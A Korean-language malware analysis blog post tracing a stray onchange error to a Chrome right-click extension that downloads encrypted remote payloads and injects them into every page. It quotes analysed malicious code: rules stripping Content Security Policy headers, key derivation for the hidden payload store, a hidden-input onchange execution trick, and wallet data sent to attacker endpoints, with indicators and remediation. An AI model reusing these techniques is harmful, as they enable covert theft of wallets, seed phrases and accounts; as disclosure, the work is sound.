평범한 우클릭 확장 프로그램은 어떻게 악성코드가 되었나
웹 개발 중 발견한 이상한 onchange 오류에서 시작해, Chrome 확장 프로그램이 원격 악성 코드를 내려받아 브라우저에 주입하는 과정을 추적한 기록입니다.

로컬에서 웹 서비스를 개발하던 중 처음 보는 오류가 나타났습니다.
Uncaught TypeError: Cannot read properties of undefined (reading 'location')
at http://localhost:9801/panel/...:68:14
at HTMLInputElement.onchange (http://localhost:9801/panel/...:107:3)사이트에 접속할 때마다 같은 오류가 반복됐습니다. 오류 위치는 제 서비스 주소였고 stack trace는 HTMLInputElement.onchange를 가리켰습니다. 하지만 해당 화면은 React의 onChange를 사용하고 있었고, 소스 전체에 inline onchange도 없었습니다.
처음에는 캐시나 개발 서버 문제라고 생각했습니다. 실제 원인은 전혀 다른 곳에 있었습니다. Chrome 웹 스토어에서 설치한 Enable Right Click & Copy — Smart Unlock + OCR 확장 프로그램이 원격 서버에서 JavaScript를 받아 모든 페이지에 실행하고 있었습니다.
- 확장 프로그램: Chrome 웹 스토어 페이지
- 확장 ID:
pkoccklolohdacbfooifnpebakpbeipc - 조사 버전:
6.6.0
오류를 재현하고 확장 저장소를 복호화해 주입 구조까지 확인한 과정을 정리했습니다. 글에 나오는 개인 UUID는 모두 가렸습니다.
사이트 코드와 맞지 않는 stack trace#
React는 일반적으로 이벤트를 위임해 처리합니다. JSX의 onChange가 DOM의 onchange 속성으로 그대로 남지 않습니다. 그런데 오류에는 다음 함수가 명확하게 등장했습니다.
HTMLInputElement.onchange서버가 반환한 HTML 원문도 확인했지만 오류에 나온 코드는 없었습니다. 브라우저에서 만들어진 DOM을 검사했을 때도 문제 input에 onchange 속성이 없었습니다. 페이지가 로드되는 아주 짧은 순간에 누군가 element를 만들고 코드를 실행한 뒤 제거했을 가능성이 생겼습니다.
Chrome DevTools Protocol로 실행 주체 찾기#
브라우저를 --remote-debugging-port=9222로 실행하고 Chrome DevTools Protocol(CDP)의 Runtime.exceptionThrown 이벤트를 수집했습니다. 오류와 함께 사이트에서 작성하지 않은 로그가 나타났습니다.
Content loaded
Extension keyboard shortcuts loaded. Available shortcuts:
- Alt+C: Toggle Copy Mode
- Alt+A: Toggle Absolute Mode
- Alt+O: Trigger OCR Mode
No connected wallet with address found, skipping send
Injection error: Content already injected
Crypto site not identified within timeout periodcontent script의 실행 URL도 확인할 수 있었습니다.
chrome-extension://pkoccklolohdacbfooifnpebakpbeipc/Network log에는 다음 요청이 남았습니다.
https://api.site-signal.top/api/finish?uuid=<redacted>&task_id=...여기까지 오면 제 코드 문제가 아니라 확장이 주입한 코드라는 건 분명했습니다. 그런데 설치된 확장 파일을 아무리 뒤져도 site-signal.top, checkWeb3Wallets, runInjection 같은 문자열은 나오지 않았습니다.
정적 분석에서 악성 코드가 보이지 않았던 이유#
manifest.json과 패키지 안 JavaScript만 보면 확장은 우클릭과 복사를 활성화하고 OCR을 제공하는 것처럼 보였습니다. 하지만 권한은 기능에 비해 매우 넓었습니다.
{
"content_scripts": [{
"js": ["content-scripts/content.js"],
"matches": ["<all_urls>"]
}],
"host_permissions": ["<all_urls>"],
"permissions": [
"tabs",
"activeTab",
"storage",
"scripting",
"clipboardWrite",
"offscreen",
"declarativeNetRequest"
]
}모든 페이지에 접근하고, 임의 탭에 script를 삽입하고, 현재 화면을 캡처할 수 있는 구성입니다. background.js에는 모든 사이트의 Content Security Policy(CSP)를 제거하는 규칙도 있었습니다.
responseHeaders: [
{ operation: "remove", header: "content-security-policy" },
{ operation: "remove", header: "content-security-policy-report-only" },
{ operation: "remove", header: "x-webkit-csp" },
{ operation: "remove", header: "x-content-security-policy" },
]CSP는 페이지가 허용하지 않은 script와 외부 연결을 막는 핵심 방어선입니다. 복사 제한을 풀려면 일부 손댈 필요가 있을 수는 있습니다. 그렇다고 모든 frame과 요청에서 CSP를 통째로 걷어낼 이유는 없습니다.
핵심은 악성 payload가 확장 패키지 안에 평문으로 존재하지 않았다는 점입니다. 원격 서버에서 받은 코드는 Local Extension Settings의 LevelDB에 AES-GCM 암호문으로 저장돼 있었습니다.
원격 WebSocket과 암호화 저장소#
확장은 설치별 UUID를 생성하고 WebSocket 연결을 유지했습니다. 저장소에 있던 nodes 값을 확장 ID와 UUID로 만든 키를 사용해 복호화하자 다음 설정이 나왔습니다.
{
"chunk_size": 16,
"endpoint": "wss://lucky-random.sbs/?uuid=<redacted>&extension=pkoccklolohdacbfooifnpebakpbeipc",
"nodes": 14,
"rules": 3,
"timeouts": {
"ping": 20000,
"report": 600000
}
}암호화 키는 대략 다음 구조로 파생됐습니다.
const material = `${chrome.runtime.id}-${userId}`;
const digest = await crypto.subtle.digest(
"SHA-256",
new TextEncoder().encode(material),
);
const key = await crypto.subtle.importKey(
"raw",
digest,
{ name: "AES-GCM" },
false,
["encrypt", "decrypt"],
);WebSocket에서 받은 auth:set 메시지는 payload를 다시 암호화해 nodes에 저장했습니다. 스토어 검수 시 패키지만 검사하면 실제 행위를 놓치기 쉬운 구조입니다.
숨겨진 input으로 원격 코드 실행#
복호화된 nodes는 background.js에서 페이지로 전달됐습니다.
await chrome.scripting.executeScript({
target: { tabId },
func: (nodes) => {
window.__OCR_NODES = nodes;
},
args: [payloads],
});keyboard-shortcuts.js는 각 문자열을 hidden input의 onchange에 넣고 강제로 change 이벤트를 발생시켰습니다.
function execute(code) {
const input = document.createElement("input");
input.type = "hidden";
input.style.display = "none";
input.setAttribute("onchange", code);
document.body.appendChild(input);
input.value = "true";
input.dispatchEvent(new Event("change"));
input.remove();
}이 방식 때문에 원격 코드는 확장 URL이 아니라 현재 문서 URL에서 실행된 것처럼 표시됐습니다. 처음 본 오류가 localhost와 HTMLInputElement.onchange를 가리킨 이유가 여기 있었습니다. payload에 버그가 없었다면 저는 이걸 끝까지 몰랐을 겁니다.
복호화된 payload에서 확인한 기능#
저장된 원격 payload는 14개였습니다. 다음 기능을 코드에서 확인했습니다.
- Trezor 및 Ledger 흐름 가로채기와 seed phrase 전송
- Binance, Bybit, Coinbase, Kraken, KuCoin, OKX, MEXC 계정·잔액 수집
- Web3 지갑 탐지와 연결 주소 수집
- 일반 input 수집
- 브라우저 방문 기록 전송
- Facebook Ads 계정 정보 수집
- 암호화폐 사이트 상호작용 가로채기
예를 들어 Web3 payload에는 다음 흐름이 있었습니다.
async function checkWeb3Wallets() {
const wallets = await detectAllWallets();
const detectedWallets = Object.values(wallets).filter(
(wallet) => wallet.detected,
);
await sendToServer(detectedWallets, wallets);
}수집 결과는 다음 endpoint로 전송하도록 작성돼 있었습니다.
https://api.site-signal.top/api/finish
https://api.site-signal.top/api/notifyseed phrase 관련 payload에서는 ggl.lat도 사용했습니다. 피해 규모나 서버 응답까지 다 확인하지는 못했지만, 저장된 코드가 노리는 것은 분명했습니다. 계정과 지갑입니다.
왜 원래는 문제가 없었을까#
로컬 프로필 기록상 확장은 이전부터 설치돼 있었지만 조사한 6.6.0 파일과 last_update_time은 오류가 시작된 시점과 맞물렸습니다. 가능한 경로는 두 가지입니다.
- 이전 버전에는 없던 악성 동작이 업데이트로 들어왔습니다.
- 원격 서버가 특정 시점부터 이 설치 UUID에만 악성
nodes를 내려줬습니다.
확장 구조상 패키지 업데이트 없이도 원격 payload를 갈아끼울 수 있습니다. 오류가 갑자기 시작된 것도 이상한 일이 아닙니다. 원격 코드 중 하나가 undefined.location을 읽다 실패한 덕에 숨어 있던 동작이 드러난 것입니다.
침해 지표(IOC)#
조사에서 확인한 식별자입니다.
Extension ID
pkoccklolohdacbfooifnpebakpbeipc
Extension version
6.6.0
Remote control / loader
lucky-random.sbs
active-enable-right-click.top
api.active-enable-right-click.top
Collection / exfiltration
site-signal.top
api.site-signal.top
ggl.lat도메인만 차단하는 것으로는 부족합니다. endpoint는 원격에서 언제든 바꿀 수 있고, 확장이 가진 권한은 그대로 남습니다.
설치돼 있다면 해야 할 일#
먼저 확장을 삭제하고 브라우저를 완전히 종료한 뒤 다시 실행해야 합니다. 브라우저 동기화로 확장이 재설치되지 않는지도 확인해야 합니다.
확장이 켜져 있는 동안 다음을 입력했다면 이미 넘어갔다고 보고, 깨끗한 다른 기기에서 대응해야 합니다.
- 브라우저에 입력한 Trezor 또는 Ledger seed phrase
- 거래소 계정과 API key
- 주요 이메일과 비밀번호
- Facebook Business 및 Ads 계정
seed phrase를 브라우저에 입력했다면 비밀번호 변경만으로 해결되지 않습니다. 새 지갑을 만들고 자산을 이동해야 합니다. 거래소는 모든 세션 종료, 비밀번호 변경, API key 폐기, 출금 주소와 로그인 기록 확인이 필요합니다.
신고#
Chrome 웹 스토어의 악용사례 신고로 확장 ID와 버전, 원격 endpoint, 재현 절차를 정리해 Google에 넘겼습니다. 원본 확장 파일과 Local Extension Settings는 신고 전에 따로 복사해 두고 SHA-256 해시를 남겼습니다.
저장소에는 설치 UUID와 브라우징 기록이 그대로 들어 있어서 UUID를 가린 부분만 첨부했습니다. 원본 파일은 혹시 나중에 필요할까 싶어 로컬에 남겨뒀습니다.
결론#
처음에는 제 코드의 사소한 JavaScript 오류처럼 보였습니다. 하지만 React 이벤트 처리 방식과 맞지 않는 stack trace를 따라가자, 웹 스토어 확장이 암호화된 원격 payload를 받아 모든 페이지에서 실행하는 구조가 나왔습니다.
확장은 우리가 방문하는 모든 사이트에서 페이지 코드와 같은 권한으로 움직입니다. 설치할 때 멀쩡했더라도 업데이트나 원격 설정 한 번으로 성격이 바뀝니다. 단순한 기능을 내세우면서 <all_urls>, scripting, tabs, declarativeNetRequest를 한꺼번에 요구하는 확장은 권한과 네트워크 통신을 다시 볼 필요가 있습니다.
결국 단서는 설명이 안 되는 stack trace 한 줄이었습니다. 그걸 캐시 문제로 넘겼다면 지금도 모른 채 쓰고 있었을 겁니다.